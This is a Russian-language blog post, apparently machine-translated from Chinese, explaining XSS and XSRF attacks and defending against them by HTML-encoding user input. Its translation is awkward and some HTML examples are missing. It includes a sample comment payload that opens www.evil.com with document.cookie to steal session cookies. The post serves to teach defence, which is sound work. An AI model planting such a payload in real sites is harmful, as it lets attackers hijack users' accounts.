будь осторожен! XSS и XSRF

внешний интерфейс JavaScript XSS HTML

[Tips]Эта статья изjianshuПлатформа повторно модифицирована редакционной трансплантацией, и были внесены некоторые изменения по сравнению с предыдущей версией.

В последнее время я читал некоторые вопросы о сетевой безопасности.Конечно, многие из них связаны с внешним интерфейсом, включая, помимо прочего,хсс и хсрфЧто ж, тогда редактор расскажет о каком-то поверхностном понимании в сочетании с недавними знаниями и практикой. (\(^o^)/, я парень, который любит экспериментировать)

Атака межсайтового скриптинга XSS (Cross Site Script)!

XSS означает межсайтовый скриптинг. Это также связано с междоменными проблемами, особенно если говорить о защите XSRF позже. Проще говоря, XSS — это скрипт из внешнего (пользовательского) ввода, который внедряется на сайт-жертву.Если сайт не фильтрует пользовательский ввод, этот скрипт может выполняться браузером пользователей, которые позже посещают сайт.

Возьмите каштан:

Если веб-сайт имеет функцию комментариев и не был отфильтрован для XSS, то Xiaobian прокомментировал часть статьи:

Затем эта строка отправляется на сервер веб-сайта без фильтрации или кодирования скрипта и без каких-либо действий. Добавьте исходную HTML-страницу без изменений, поэтому, когда другие пользователи просматривают статью, браузер автоматически выполняет ее.Этот JS-скрипт в HTML-документе, выскакивает страшно+_+...

Это ничего, это просто раздражает. Но если в комментарии сказано:

<script>window.open(www.evil.com?content=document.cookie);</script>

Когда вы снова посещаете эту статью, ваш файл cookie в текущем домене блокируется нашим вредоносным веб-сайтом (www.evil.com) получить. . Демон этого сайта может получить вашcookie (который содержит sessionId и т. д.), а затем используйте этот файл cookie, чтобы войти в свою учетную запись на веб-сайте и публиковать анекдоты. Конечно, современные основные веб-сайты запрещают JS-скриптам получать и использовать файлы cookie, а механизм безопасности в браузере предотвращает отправку файлов cookie на другие междоменные веб-сайты.

На самом деле есть очень хорошая диаграмма, показывающая весь процесс XSS-атаки.


                                                >> how-xss-works

Так что, как квалифицированный WebApp, не могу поверитьлюбой пользовательский вводИ не может напрямую печатать данные в структуру HTML DOM без обработки его. Некоторые из сегодняшних основныхинтерфейсный фреймворк (Angular, Vue.js и т. д.) реализуютXSS Защита в сочетании с механизмом Token на стороне сервера может использоваться для защитыXSRF(Межсайтовые поддельные запросы)

защита

Так как же защититься от этой простой атаки путем инъекции?

Проще говоря, основная идея такова:Не доверяет никакому вводу пользователя, не позволяет пользователям внедрять скрипты, такие как , которые автоматически выполняются в структуре DOM, что еще? ?

правильный! и т. д. могут реализовывать запросы GET к внешним сценариям или к незаконный Веб-сайт отправляет запрос POST, который может изменить пароль посещаемого вами веб-сайта, поэтому это содержимое должно быть обработано Encode.Подводя итог, принцип состоит в том, чтобы преобразовать это содержимое с помощью «», ' \"' и т. д. праведность.

Возьмите каштан:

Пользовательский ввод:

Безобидная строка:


>> преобразованная строка

Механизм преобразования представляет собой наборСпециальные символыа такжебезопасные персонажиТаблица сопоставления, связанная с механизмом рендеринга браузера для HTML. JS-движок в основных браузерах встречает такие теги, как , анализирует содержащийся в них код и выполняет его. но столкнуться&lt;&gt;Такие символы будут работать не как JS, а как обычная строка печати. Вы можете попробовать этот случай до и после выполнения Encode в браузере.

Ссылки на карте ссылки:Таблица сопоставления

Справочная статья

cross-site-scripting

Узнайте все о XSS